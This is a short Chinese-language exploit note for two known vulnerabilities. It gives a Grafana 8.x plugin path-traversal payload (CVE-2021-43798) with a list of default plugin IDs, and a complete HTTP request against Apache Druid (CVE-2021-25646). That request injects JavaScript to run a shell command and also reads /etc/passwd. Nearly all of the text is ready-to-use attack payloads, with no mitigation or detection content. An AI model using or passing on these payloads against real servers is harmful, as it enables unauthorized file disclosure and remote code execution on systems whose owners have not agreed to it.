Grafana(CVE-2021-43798)、Apache Druid 代码执行漏洞

一、Grafana 8.x 插件模块目录穿越漏洞（CVE-2021-43798）

Grafana是一个系统监测工具。
利用这个漏洞前，我们需要先获取到一个已安装的插件id，比如常见的有：

alertlist
cloudwatch
dashlist
elasticsearch
graph
graphite
heatmap
influxdb
mysql
opentsdb
pluginlist
postgres
prometheus
stackdriver
table
text

payload: /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd

二、Apache Druid 代码执行漏洞（CVE-2021-25646）

Apache Druid是一个开源的分布式数据存储，它包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。

POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.92.6:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 912{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"/etc","filter":"passwd"}},"dataSchema":{"dataSource":"test","parser":{"parseSpec":{"format":"javascript","timestampSpec":{},"dimensionsSpec":{},"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}","":{"enabled":"true"}}}}},"samplerConfig":{"numRows":10}
}